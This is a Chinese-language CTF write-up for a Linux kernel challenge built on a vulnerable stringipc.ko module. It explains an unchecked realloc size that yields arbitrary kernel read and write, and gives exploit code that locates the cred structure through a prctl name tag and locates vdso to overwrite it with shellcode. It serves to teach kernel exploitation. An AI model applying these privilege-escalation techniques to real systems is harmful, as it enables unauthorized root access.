init脚本
qemu-system-x86_64 \
-m 256M \
-kernel ./arch/x86_64/boot/bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64,+smep,+smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-gdb tcp::1234 -S \
-nographic -enable-kvm \
开了smep smap
保护长这样
开了canary
直接分析stringipc.ko文件
先来看三个比较重要的结构体
就是申请channel
找到channel释放掉
看得出来是realloc
漏洞也在这里
没有对size检查
传入-1导致返回地址是0x10
然后size是-1导致可以写任意大小
导致我们可以任意写
利用方式也是有几种
首先是劫持cred结构体
就像2017 ciscn babydriver一样
我们劫持cred结构体之后就能实现提权
劫持cred结构体的核心是我们得先找到他
我们这里用的思想是
核心代码
这来自ha1vk大佬
//通过prctl给当前进程的task结构设置一个标记,方便我们在内存中搜索时可以作为依据
char *buf = (char *)calloc(1,0x1000);
char target[16];
strcpy(target,"abcdefghijklmn");
prctl(PR_SET_NAME,target);
initFD();
int id = alloc_channel(0x100);
shrink_channel(id,0x101);
size_t cred_addr = -1;
//task和cred结构的范围在0xffff880000000000~0xffffc80000000000
for (size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000) {
arbitrary_read(id,buf,addr,0x1000);
//搜索当前读出的数据里是否有我们的标记
size_t tag_ptr = memmem(buf, 0x1000,target,16);
if (tag_ptr) {
cred_addr = *(size_t *)(tag_ptr - 0x8);
size_t real_cred_addr = *(size_t *)(tag_ptr - 0x10);
if ((cred_addr & 0xff00000000000000) && cred_addr == real_cred_addr) {
printf("[+] found cred_ptr at 0x%lx\n",addr + tag_ptr - (size_t)buf);
printf("[+] cred_addr at 0x%lx\n",cred_addr);
break;
}
}
}
第二种方式是劫持vdso
一个道理
首先是找到vdso
这个利用的是gettimeofday里面的字符串
int get_gettimeofday_str_offset() {
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr){
printf("[-]error get name's offset");
return 0;
}
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
printf("[-]error get name's offset");
return 0;
}
return name_addr - vdso_addr;
}
int main()
{
char *buf = (char *)calloc(1,0x1000);
char shellcode[]="";
initFD();
//构造漏洞
int id = alloc_channel(0x100);
if(id == -1){
printf("[*]alloc error\n");
exit(-1);
}
shrink_channel(id,0x101);
size_t vdso_addr = -1;
int gettimeofday_off = get_gettimeofday_str_offset();
printf("[*]start searching...\n");
for(size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000)
{
arbitrary_read(id,buf,addr,0x1000);
if(!strcmp(buf+gettimeofday_off,"gettimeofday")){
printf("[*]find vdso\n");
vdso_addr = addr;
printf("[*]vdso_addr:%lx\n",vdso_addr);
break;
}
}
size_t gettimeofday = vdso_addr + 0xcb0;
arbitrary_write(id,shellcode,gettimeofday,strlen(shellcode));
return 0;
}
然后改掉里面的函数
调一下
但是这法子没啥用了
能劫持vdso的核心就是vdso在内核状态下是可写的
然后2.x版本开始内核状态不能写了
第三种方法就是劫持prctl
这我们会在强网杯2018solid_core中仔细研究